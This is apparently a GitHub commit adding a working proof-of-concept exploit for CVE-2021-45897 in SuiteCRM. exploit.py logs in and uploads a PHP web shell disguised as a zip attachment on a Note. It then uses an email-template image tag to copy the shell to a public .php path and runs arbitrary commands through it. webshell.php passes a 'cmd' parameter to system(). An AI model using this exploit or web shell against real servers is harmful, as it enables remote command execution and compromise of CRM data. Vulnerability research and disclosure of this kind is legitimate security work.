Skip to content

Commit 39f63aa

Browse files
committed
Working PoC
1 parent ccc01dc commit 39f63aa

File tree

4 files changed

+152
-0
lines changed

4 files changed

+152
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,3 @@
11
# CVE-2021-45897
2+
23
CVE-2021-45897

exploit.py

+127
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,127 @@
1+
#!/usr/bin/env python3
2+
3+
import requests
4+
import click
5+
import logging
6+
from bs4 import BeautifulSoup
7+
8+
logging.basicConfig(level=logging.INFO)
9+
logger = logging.getLogger("CVE-2021-45897")
10+
11+
12+
@click.command("CVE-2021-45897",
13+
epilog="https://github.com/manuelz120/CVE-2021-45897")
14+
@click.option(
15+
"--host",
16+
'-h',
17+
default="http://localhost",
18+
help="Root of SuiteCRM installation. Defaults to http://localhost")
19+
@click.option("--username", '-u', prompt="Username> ", help="Username")
20+
@click.option("--password",
21+
'-p',
22+
prompt="Password> ",
23+
help="password",
24+
hide_input=True)
25+
@click.option("--payload",
26+
'-P',
27+
help="Shell command to be executed on target system",
28+
default='whoami')
29+
@click.option("--is_core",
30+
'-d',
31+
default=False,
32+
help="SuiteCRM Core (>= 8.0.0). Defaults to False")
33+
def main(host: str, username: str, password: str, payload: str, is_core: bool):
34+
host = f"{host}/legacy" if is_core else host
35+
36+
session = requests.Session()
37+
login_response = session.post(f'{host}/index.php',
38+
data={
39+
"module": "Users",
40+
"action": "Authenticate",
41+
"user_name": username,
42+
"username_password": password,
43+
})
44+
45+
if "&action=Login" in login_response.url:
46+
logger.error(
47+
"Login didn't work. Are you sure you specified the correct parameters?"
48+
)
49+
exit(-1)
50+
51+
logger.info(f"Login did work - Planting webshell as Note")
52+
53+
# Plan note with webshell payload
54+
response = session.post(f'{host}/index.php',
55+
data={
56+
'module': 'Notes',
57+
'action': 'Save',
58+
'isDuplicate': 'false',
59+
'name': 'Innocent Attachment',
60+
'return_module': 'Notes',
61+
'return_action': 'DetailView',
62+
'relate_to': 'Notes',
63+
'offset': 1,
64+
'parent_type': 'Accounts',
65+
'deleteAttachment': 0,
66+
},
67+
files={
68+
'filename_file':
69+
('exploit.zip', open('webshell.php',
70+
'rb'), 'application/zip')
71+
},
72+
headers={'Referer': host})
73+
74+
if "/legacy" in host:
75+
note_id = response.text.split('&return_id=')[1].split("'")[0]
76+
else:
77+
note_id = response.text.split('_form.return_id.value=')[1].split(
78+
"'")[1]
79+
80+
if not note_id:
81+
logger.error("Failed to create note with malicious payload")
82+
exit(-1)
83+
84+
logger.info(f"Note with paylaod located @ {note_id}")
85+
extension = "php"
86+
87+
# Create email template to copy payload
88+
base_host = host.replace('/legacy', '')
89+
email_template = f"<img src=\"{base_host}/index.php?entryPoint=download&type=Notes&id={note_id}&filename=pwned.{extension}\" />"
90+
response = session.post(f'{host}/index.php',
91+
data={
92+
'module': 'EmailTemplates',
93+
'action': 'Save',
94+
'name': 'Pwned from script',
95+
'return_module': 'EmailTemplates',
96+
'return_action': 'index',
97+
'relate_to': 'Notes',
98+
'offset': 1,
99+
'text_only': 0,
100+
'mce_0': email_template,
101+
'body_html': email_template
102+
},
103+
headers={'Referer': host})
104+
105+
expected_payload_url = f"/public\/{note_id}.{extension}"
106+
107+
if expected_payload_url in response.text:
108+
payload_url = f"{host}/public/{note_id}.{extension}"
109+
logger.info(f"Successfully planted payload at {payload_url}")
110+
111+
logger.info(f"Verifying web shell by executing command: '{payload}'")
112+
113+
response = session.get(f"{payload_url}", params={'cmd': payload})
114+
soup = BeautifulSoup(response.text, 'html.parser')
115+
result = soup.find(id="output").string.strip()
116+
117+
logger.info("------ Starting command output ------")
118+
logger.info(result)
119+
logger.info("------ Ending command output ------")
120+
logger.info("Enjoy your shell :)")
121+
else:
122+
logger.error(
123+
f"Something went wrong. Status code: {response.status_code}")
124+
125+
126+
if __name__ == "__main__":
127+
main()

requirements.txt

+9
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
beautifulsoup4==4.10.0
2+
certifi==2021.10.8
3+
charset-normalizer==2.0.11
4+
click==8.0.3
5+
idna==3.3
6+
requests==2.27.1
7+
soupsieve==2.3.1
8+
urllib3==1.26.8
9+
yapf==0.32.0

webshell.php

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
<html>
2+
<body>
3+
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
4+
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
5+
<input type="SUBMIT" value="Execute">
6+
</form>
7+
<pre id="output">
8+
<?php
9+
if (isset($_GET['cmd'])) {
10+
system($_GET['cmd']);
11+
}
12+
?>
13+
</pre>
14+
</body>
15+
</html>

0 commit comments

Comments
 (0)